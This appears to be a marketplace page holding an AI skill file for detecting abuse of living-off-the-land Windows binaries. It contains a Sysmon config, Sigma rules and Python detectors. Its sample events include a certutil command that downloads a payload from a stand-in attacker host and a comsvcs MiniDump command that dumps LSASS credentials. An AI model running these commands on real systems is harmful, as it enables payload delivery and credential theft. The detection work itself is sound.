[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71H9VCG280D7VAJ3CECDSPW":3,"skill-same:01M71H9VCG280D7VAJ3CECDSPW":97},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":70,"commitSha":71,"skillDirectory":72,"forksCount":14,"repositoryHtmlUrl":73,"repositoryHomepageUrl":6,"ownerHtmlUrl":74,"ownerBlogUrl":6,"ownerDescription":75,"updatedAt":76,"install":77,"resources":90},"01M71H9VCG280D7VAJ3CECDSPW","lolbins-detect",null,"Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Monitors process creation, command-line arguments, and parent-child relationships to identify suspicious LOLBin execution patterns.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Flolbins\u002Fdetect\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"lolbins detect","LOLBins","detect","command","child","traffic","command-line","de","creation","community","cm","suspicious","Bash","analysis","fileless-attacks","lotl","threat-detection","server","monitoring","cybersecurity","2026-11-10 10:12:30",false,"---\nname: lolbins-detect\ndescription: Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Monitors process creation, command-line arguments, and parent-child relationships to identify suspicious LOLBin execution patterns.\ndomain: cybersecurity\nsubdomain: threat-detection\ntags:\n- lolbins\n- lotl\n- fileless-attacks\n- process-monitoring\nd3fend_techniques:\n- Application Protocol Command Analysis\n- Network Isolation\n- Network Traffic Analysis\n- Client-server Payload Profiling\n- Network Traffic Community Deviation\nnist_csf:\n- DE.CM-01\n- DE.AE-02\n- DE.AE-06\n- ID.RA-05\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1027\n- T1059\n- T1070\n- T1218\ncapec: []\n---\n\n# Detecting Living Off the Land Attacks\n\nMonitor for suspicious use of legitimate Windows binaries (LOLBins)\nincluding certutil, mshta, rundll32, regsvr32, and others used in\nfileless and living-off-the-land attack techniques.\n\n## When to Use\n\n- Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time\n- Investigating alerts where legitimate system binaries appear in unexpected execution contexts\n- Threat hunting across endpoint telemetry for fileless attack indicators\n- Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage\n- Creating Sysmon configurations tuned to capture LOLBin-related process creation events\n- Responding to incidents where adversaries bypassed AV by using only built-in OS tools\n\n**Do not use** for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone.\n\n## Prerequisites\n\n- Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline)\n- SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)\n- Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled)\n- LOLBAS project reference: https:\u002F\u002Flolbas-project.github.io\u002F\n- Python 3.8+ with `evtx`, `pandas` for offline log analysis\n- Sigma rule repository for cross-platform detection rule authoring\n\n## Workflow\n\n### Step 1: Deploy a LOLBin-Focused Sysmon Configuration\n\nCreate a Sysmon config that captures the process creation and network events needed for LOLBin detection:\n\n```xml\n\u003C!-- File: sysmon-lolbin-detection.xml -->\n\u003CSysmon schemaversion=\"4.90\">\n  \u003CEventFiltering>\n    \u003C!-- Process Creation: capture all LOLBin executions with full command lines -->\n    \u003CRuleGroup name=\"LOLBin Process Creation\" groupRelation=\"or\">\n      \u003CProcessCreate onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">installutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">cmstp.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wmic.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">certreq.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">extrac32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">findstr.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">hh.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">ie4uinit.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mavinject.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msiexec.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">odbcconf.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pcalua.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">presentationhost.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">xwizard.exe\u003C\u002FImage>\n        \u003C!-- PowerShell variants -->\n        \u003CImage condition=\"end with\">powershell.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pwsh.exe\u003C\u002FImage>\n        \u003C!-- Script hosts -->\n        \u003CImage condition=\"end with\">cscript.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wscript.exe\u003C\u002FImage>\n      \u003C\u002FProcessCreate>\n    \u003C\u002FRuleGroup>\n\n    \u003C!-- Network connections from LOLBins (highly suspicious) -->\n    \u003CRuleGroup name=\"LOLBin Network\" groupRelation=\"or\">\n      \u003CNetworkConnect onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n      \u003C\u002FNetworkConnect>\n    \u003C\u002FRuleGroup>\n  \u003C\u002FEventFiltering>\n\u003C\u002FSysmon>\n```\n\n```powershell\n# Install or update Sysmon with the LOLBin config\nsysmon64.exe -accepteula -i sysmon-lolbin-detection.xml\n\n# Update existing Sysmon installation\nsysmon64.exe -c sysmon-lolbin-detection.xml\n```\n\n### Step 2: Build Sigma Detection Rules for Key LOLBins\n\nWrite Sigma rules that detect specific abuse patterns, translatable to any SIEM:\n\n```yaml\n# File: sigma\u002Fcertutil_download.yml\ntitle: Certutil Used to Download File\nid: a1b2c3d4-5678-9abc-def0-123456789abc\nstatus: stable\ndescription: >\n  Detects certutil.exe being used to download files from remote URLs,\n  a common LOLBin technique for payload delivery (LOLBAS T1105).\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FCertutil\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1105\u002F\ndate: 2026\u002F01\u002F20\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\certutil.exe'\n    CommandLine|contains|all:\n      - 'urlcache'\n      - '-f'\n      - 'http'\n  condition: selection\nfalsepositives:\n  - Legitimate certificate enrollment using certutil with URL parameters\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1218\n  - attack.command_and_control\n  - attack.t1105\n```\n\n```yaml\n# File: sigma\u002Fmshta_execution.yml\ntitle: MSHTA Executing Remote or Inline Script\nid: b2c3d4e5-6789-abcd-ef01-234567890bcd\nstatus: stable\ndescription: >\n  Detects mshta.exe executing scripts from URLs or inline VBScript\u002FJavaScript,\n  commonly used for application whitelisting bypass and initial access.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FMshta\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F005\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection_remote:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains: 'http'\n  selection_inline:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains:\n      - 'vbscript:'\n      - 'javascript:'\n  selection_parent_anomaly:\n    Image|endswith: '\\mshta.exe'\n    ParentImage|endswith:\n      - '\\winword.exe'\n      - '\\excel.exe'\n      - '\\outlook.exe'\n      - '\\powerpnt.exe'\n  condition: selection_remote or selection_inline or selection_parent_anomaly\nfalsepositives:\n  - Legacy HTA-based internal applications\nlevel: high\n```\n\n```yaml\n# File: sigma\u002Fregsvr32_scrobj.yml\ntitle: Regsvr32 Squiblydoo Scriptlet Execution\nid: c3d4e5f6-7890-bcde-f012-345678901cde\nstatus: stable\ndescription: >\n  Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,\n  known as the Squiblydoo technique for AppLocker bypass.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FRegsvr32\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F010\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\regsvr32.exe'\n    CommandLine|contains|all:\n      - 'scrobj.dll'\n      - '\u002Fi:'\n  condition: selection\nfalsepositives:\n  - Legitimate COM scriptlet registration (rare in modern environments)\nlevel: critical\n```\n\n### Step 3: Analyze Sysmon Logs for LOLBin Abuse Patterns\n\nParse and correlate Sysmon events to identify suspicious LOLBin execution:\n\n```python\nimport json\nimport re\nfrom datetime import datetime, timedelta\nfrom collections import defaultdict\nfrom pathlib import Path\n\n# Known LOLBins and their suspicious command-line indicators\nLOLBIN_SIGNATURES = {\n    \"certutil.exe\": {\n        \"suspicious_args\": [\n            r\"-urlcache\\s+-f\\s+http\",\n            r\"-decode\\s+\",\n            r\"-encode\\s+\",\n            r\"-verifyctl\\s+.*http\",\n        ],\n        \"mitre\": \"T1218, T1105\",\n        \"severity\": \"high\"\n    },\n    \"mshta.exe\": {\n        \"suspicious_args\": [\n            r\"https?:\u002F\u002F\",\n            r\"vbscript:\",\n            r\"javascript:\",\n            r\"about:\",\n        ],\n        \"mitre\": \"T1218.005\",\n        \"severity\": \"high\"\n    },\n    \"rundll32.exe\": {\n        \"suspicious_args\": [\n            r\"javascript:\",\n            r\"shell32\\.dll.*ShellExec_RunDLL\",\n            r\"\\\\\\\\.*\\\\.*\\.dll\",  # UNC path DLL loading\n            r\"comsvcs\\.dll.*MiniDump\",  # LSASS dump via comsvcs\n        ],\n        \"mitre\": \"T1218.011\",\n        \"severity\": \"critical\"\n    },\n    \"regsvr32.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Fs\\s+\u002Fn\\s+\u002Fu\\s+\u002Fi:\",\n            r\"scrobj\\.dll\",\n            r\"https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1218.010\",\n        \"severity\": \"critical\"\n    },\n    \"bitsadmin.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Ftransfer\\s+.*https?:\u002F\u002F\",\n            r\"\u002Fcreate\\s+.*\\\u002Faddfile\\s+.*https?:\u002F\u002F\",\n            r\"\u002FSetNotifyCmdLine\",\n        ],\n        \"mitre\": \"T1197\",\n        \"severity\": \"high\"\n    },\n    \"wmic.exe\": {\n        \"suspicious_args\": [\n            r\"process\\s+call\\s+create\",\n            r\"\u002Fnode:\",\n            r\"os\\s+get\\s+\u002Fformat:.*https?:\u002F\u002F\",\n            r\"xsl.*https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1047\",\n        \"severity\": \"high\"\n    },\n    \"msbuild.exe\": {\n        \"suspicious_args\": [\n            r\"\\.xml\\b\",\n            r\"\\.csproj\\b\",\n            r\"\\\\temp\\\\\",\n            r\"\\\\appdata\\\\\",\n        ],\n        \"mitre\": \"T1127.001\",\n        \"severity\": \"high\"\n    },\n    \"mavinject.exe\": {\n        \"suspicious_args\": [\n            r\"\u002FINJECTRUNNING\\s+\\d+\",\n        ],\n        \"mitre\": \"T1218.013\",\n        \"severity\": \"critical\"\n    },\n}\n\ndef analyze_sysmon_events(events):\n    \"\"\"Analyze Sysmon process creation events for LOLBin abuse.\"\"\"\n    alerts = []\n\n    for event in events:\n        image = event.get(\"Image\", \"\").lower()\n        cmdline = event.get(\"CommandLine\", \"\")\n        parent = event.get(\"ParentImage\", \"\")\n\n        # Check if the process is a known LOLBin\n        for lolbin, config in LOLBIN_SIGNATURES.items():\n            if image.endswith(lolbin.lower()):\n                for pattern in config[\"suspicious_args\"]:\n                    if re.search(pattern, cmdline, re.IGNORECASE):\n                        alert = {\n                            \"timestamp\": event.get(\"UtcTime\", \"\"),\n                            \"hostname\": event.get(\"Computer\", \"\"),\n                            \"lolbin\": lolbin,\n                            \"command_line\": cmdline,\n                            \"parent_process\": parent,\n                            \"user\": event.get(\"User\", \"\"),\n                            \"process_id\": event.get(\"ProcessId\", \"\"),\n                            \"parent_pid\": event.get(\"ParentProcessId\", \"\"),\n                            \"mitre_technique\": config[\"mitre\"],\n                            \"severity\": config[\"severity\"],\n                            \"matched_pattern\": pattern,\n                        }\n                        alerts.append(alert)\n                        break\n    return alerts\n\n# Example usage with parsed Sysmon events\nsample_events = [\n    {\n        \"UtcTime\": \"2026-01-20 14:32:15.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n        \"CommandLine\": \"certutil.exe -urlcache -f http:\u002F\u002Fevil.example.com\u002Fpayload.exe C:\\\\temp\\\\update.exe\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"4532\",\n        \"ParentProcessId\": \"2108\",\n    },\n    {\n        \"UtcTime\": \"2026-01-20 14:33:01.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\rundll32.exe\",\n        \"CommandLine\": \"rundll32.exe comsvcs.dll, MiniDump 624 C:\\\\temp\\\\dump.bin full\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"5128\",\n        \"ParentProcessId\": \"2108\",\n    },\n]\n\nalerts = analyze_sysmon_events(sample_events)\nfor alert in alerts:\n    print(f\"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}\")\n    print(f\"  MITRE: {alert['mitre_technique']}\")\n    print(f\"  Command: {alert['command_line'][:120]}\")\n    print(f\"  Parent: {alert['parent_process']}\")\n    print(f\"  User: {alert['user']}\")\n    print()\n```\n\n### Step 4: Detect LOLBin Network Connections\n\nLOLBins making outbound network connections is a strong indicator of malicious use:\n\n```python\ndef detect_lolbin_network_activity(network_events, process_events):\n    \"\"\"Correlate Sysmon network events (ID 3) with process creation (ID 1)\n    to find LOLBins making outbound connections.\"\"\"\n\n    # LOLBins that should rarely make outbound connections\n    NETWORK_SUSPICIOUS = {\n        \"certutil.exe\", \"mshta.exe\", \"rundll32.exe\", \"regsvr32.exe\",\n        \"msbuild.exe\", \"installutil.exe\", \"bitsadmin.exe\", \"esentutl.exe\",\n        \"expand.exe\", \"replace.exe\", \"cmstp.exe\", \"presentationhost.exe\",\n    }\n\n    alerts = []\n    for event in network_events:\n        image = event.get(\"Image\", \"\").lower()\n        binary_name = image.split(\"\\\\\")[-1] if \"\\\\\" in image else image\n\n        if binary_name in NETWORK_SUSPICIOUS:\n            dest_ip = event.get(\"DestinationIp\", \"\")\n            dest_port = event.get(\"DestinationPort\", \"\")\n\n            # Skip localhost and internal DNS\n            if dest_ip.startswith(\"127.\") or dest_ip == \"::1\":\n                continue\n\n            alert = {\n                \"type\": \"lolbin_network_connection\",\n                \"binary\": binary_name,\n                \"destination_ip\": dest_ip,\n                \"destination_port\": dest_port,\n                \"destination_hostname\": event.get(\"DestinationHostname\", \"\"),\n                \"source_ip\": event.get(\"SourceIp\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n                \"severity\": \"critical\",\n            }\n            alerts.append(alert)\n            print(f\"[CRITICAL] {binary_name} connected to \"\n                  f\"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N\u002FA')})\")\n\n    return alerts\n```\n\n### Step 5: Monitor Anomalous Parent-Child Process Relationships\n\n```python\n# Suspicious parent-child relationships indicating LOLBin abuse\nSUSPICIOUS_PARENT_CHILD = [\n    # Office apps spawning LOLBins (macro execution)\n    {\"parent\": [\"winword.exe\", \"excel.exe\", \"powerpnt.exe\", \"outlook.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"pwsh.exe\", \"mshta.exe\",\n               \"wscript.exe\", \"cscript.exe\", \"certutil.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1204.002\"},\n\n    # Explorer spawning script interpreters directly\n    {\"parent\": [\"explorer.exe\"],\n     \"child\": [\"mshta.exe\", \"regsvr32.exe\", \"msbuild.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1218\"},\n\n    # WMI provider spawning processes (lateral movement)\n    {\"parent\": [\"wmiprvse.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1047\"},\n\n    # Services spawning unusual children\n    {\"parent\": [\"services.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\", \"rundll32.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1543.003\"},\n]\n\ndef check_parent_child_anomaly(event):\n    \"\"\"Check if a process creation event has a suspicious parent-child pair.\"\"\"\n    parent = event.get(\"ParentImage\", \"\").split(\"\\\\\")[-1].lower()\n    child = event.get(\"Image\", \"\").split(\"\\\\\")[-1].lower()\n\n    for rule in SUSPICIOUS_PARENT_CHILD:\n        if parent in rule[\"parent\"] and child in rule[\"child\"]:\n            return {\n                \"alert_type\": \"suspicious_parent_child\",\n                \"parent\": parent,\n                \"child\": child,\n                \"command_line\": event.get(\"CommandLine\", \"\"),\n                \"mitre\": rule[\"mitre\"],\n                \"severity\": rule[\"severity\"],\n                \"hostname\": event.get(\"Computer\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n            }\n    return None\n```\n\n### Step 6: Implement AppLocker or WDAC Hardening\n\nRestrict unnecessary LOLBin execution with application control policies:\n\n```powershell\n# Query current AppLocker policy\nGet-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections\n\n# Create AppLocker rules to restrict certutil to admin-only\n$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix \"Block\" `\n    -FileInformation \"C:\\Windows\\System32\\certutil.exe\" `\n    -User \"S-1-1-0\" -Deny\n\n# Export current policy for backup before applying changes\nGet-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml\n\n# Block specific LOLBins for standard users via GPO script\n$lolbins_to_restrict = @(\n    \"mshta.exe\", \"cmstp.exe\", \"msbuild.exe\", \"installutil.exe\",\n    \"regsvr32.exe\", \"presentationhost.exe\", \"ie4uinit.exe\",\n    \"mavinject.exe\", \"xwizard.exe\"\n)\n\nforeach ($binary in $lolbins_to_restrict) {\n    $path = \"C:\\Windows\\System32\\$binary\"\n    if (Test-Path $path) {\n        Write-Output \"Restricting: $path\"\n        # Apply WDAC deny rule via PowerShell\n        # In production, use Group Policy or Intune WDAC policies\n    }\n}\n```\n\n## Verification\n\n- Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins\n- Validate Sigma rules convert correctly to your SIEM query language using `sigmac` or `sigma-cli`\n- Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire\n- Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g., `winword.exe` spawning `certutil.exe`)\n- Confirm LOLBin network connection detection triggers when `certutil.exe` or `mshta.exe` reach out to external IPs\n- Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production\n- Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment\n- Cross-reference detections against the LOLBAS project database at https:\u002F\u002Flolbas-project.github.io\u002F for completeness\n","# Detecting Living Off the Land Attacks\n\nMonitor for suspicious use of legitimate Windows binaries (LOLBins)\nincluding certutil, mshta, rundll32, regsvr32, and others used in\nfileless and living-off-the-land attack techniques.\n\n## When to Use\n\n- Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time\n- Investigating alerts where legitimate system binaries appear in unexpected execution contexts\n- Threat hunting across endpoint telemetry for fileless attack indicators\n- Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage\n- Creating Sysmon configurations tuned to capture LOLBin-related process creation events\n- Responding to incidents where adversaries bypassed AV by using only built-in OS tools\n\n**Do not use** for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone.\n\n## Prerequisites\n\n- Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline)\n- SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)\n- Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled)\n- LOLBAS project reference: https:\u002F\u002Flolbas-project.github.io\u002F\n- Python 3.8+ with `evtx`, `pandas` for offline log analysis\n- Sigma rule repository for cross-platform detection rule authoring\n\n## Workflow\n\n### Step 1: Deploy a LOLBin-Focused Sysmon Configuration\n\nCreate a Sysmon config that captures the process creation and network events needed for LOLBin detection:\n\n```xml\n\u003C!-- File: sysmon-lolbin-detection.xml -->\n\u003CSysmon schemaversion=\"4.90\">\n  \u003CEventFiltering>\n    \u003C!-- Process Creation: capture all LOLBin executions with full command lines -->\n    \u003CRuleGroup name=\"LOLBin Process Creation\" groupRelation=\"or\">\n      \u003CProcessCreate onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">installutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">cmstp.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wmic.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">certreq.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">extrac32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">findstr.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">hh.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">ie4uinit.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mavinject.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msiexec.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">odbcconf.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pcalua.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">presentationhost.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">xwizard.exe\u003C\u002FImage>\n        \u003C!-- PowerShell variants -->\n        \u003CImage condition=\"end with\">powershell.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pwsh.exe\u003C\u002FImage>\n        \u003C!-- Script hosts -->\n        \u003CImage condition=\"end with\">cscript.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wscript.exe\u003C\u002FImage>\n      \u003C\u002FProcessCreate>\n    \u003C\u002FRuleGroup>\n\n    \u003C!-- Network connections from LOLBins (highly suspicious) -->\n    \u003CRuleGroup name=\"LOLBin Network\" groupRelation=\"or\">\n      \u003CNetworkConnect onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n      \u003C\u002FNetworkConnect>\n    \u003C\u002FRuleGroup>\n  \u003C\u002FEventFiltering>\n\u003C\u002FSysmon>\n```\n\n```powershell\n# Install or update Sysmon with the LOLBin config\nsysmon64.exe -accepteula -i sysmon-lolbin-detection.xml\n\n# Update existing Sysmon installation\nsysmon64.exe -c sysmon-lolbin-detection.xml\n```\n\n### Step 2: Build Sigma Detection Rules for Key LOLBins\n\nWrite Sigma rules that detect specific abuse patterns, translatable to any SIEM:\n\n```yaml\n# File: sigma\u002Fcertutil_download.yml\ntitle: Certutil Used to Download File\nid: a1b2c3d4-5678-9abc-def0-123456789abc\nstatus: stable\ndescription: >\n  Detects certutil.exe being used to download files from remote URLs,\n  a common LOLBin technique for payload delivery (LOLBAS T1105).\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FCertutil\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1105\u002F\ndate: 2026\u002F01\u002F20\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\certutil.exe'\n    CommandLine|contains|all:\n      - 'urlcache'\n      - '-f'\n      - 'http'\n  condition: selection\nfalsepositives:\n  - Legitimate certificate enrollment using certutil with URL parameters\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1218\n  - attack.command_and_control\n  - attack.t1105\n```\n\n```yaml\n# File: sigma\u002Fmshta_execution.yml\ntitle: MSHTA Executing Remote or Inline Script\nid: b2c3d4e5-6789-abcd-ef01-234567890bcd\nstatus: stable\ndescription: >\n  Detects mshta.exe executing scripts from URLs or inline VBScript\u002FJavaScript,\n  commonly used for application whitelisting bypass and initial access.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FMshta\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F005\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection_remote:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains: 'http'\n  selection_inline:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains:\n      - 'vbscript:'\n      - 'javascript:'\n  selection_parent_anomaly:\n    Image|endswith: '\\mshta.exe'\n    ParentImage|endswith:\n      - '\\winword.exe'\n      - '\\excel.exe'\n      - '\\outlook.exe'\n      - '\\powerpnt.exe'\n  condition: selection_remote or selection_inline or selection_parent_anomaly\nfalsepositives:\n  - Legacy HTA-based internal applications\nlevel: high\n```\n\n```yaml\n# File: sigma\u002Fregsvr32_scrobj.yml\ntitle: Regsvr32 Squiblydoo Scriptlet Execution\nid: c3d4e5f6-7890-bcde-f012-345678901cde\nstatus: stable\ndescription: >\n  Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,\n  known as the Squiblydoo technique for AppLocker bypass.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FRegsvr32\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F010\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\regsvr32.exe'\n    CommandLine|contains|all:\n      - 'scrobj.dll'\n      - '\u002Fi:'\n  condition: selection\nfalsepositives:\n  - Legitimate COM scriptlet registration (rare in modern environments)\nlevel: critical\n```\n\n### Step 3: Analyze Sysmon Logs for LOLBin Abuse Patterns\n\nParse and correlate Sysmon events to identify suspicious LOLBin execution:\n\n```python\nimport json\nimport re\nfrom datetime import datetime, timedelta\nfrom collections import defaultdict\nfrom pathlib import Path\n\n# Known LOLBins and their suspicious command-line indicators\nLOLBIN_SIGNATURES = {\n    \"certutil.exe\": 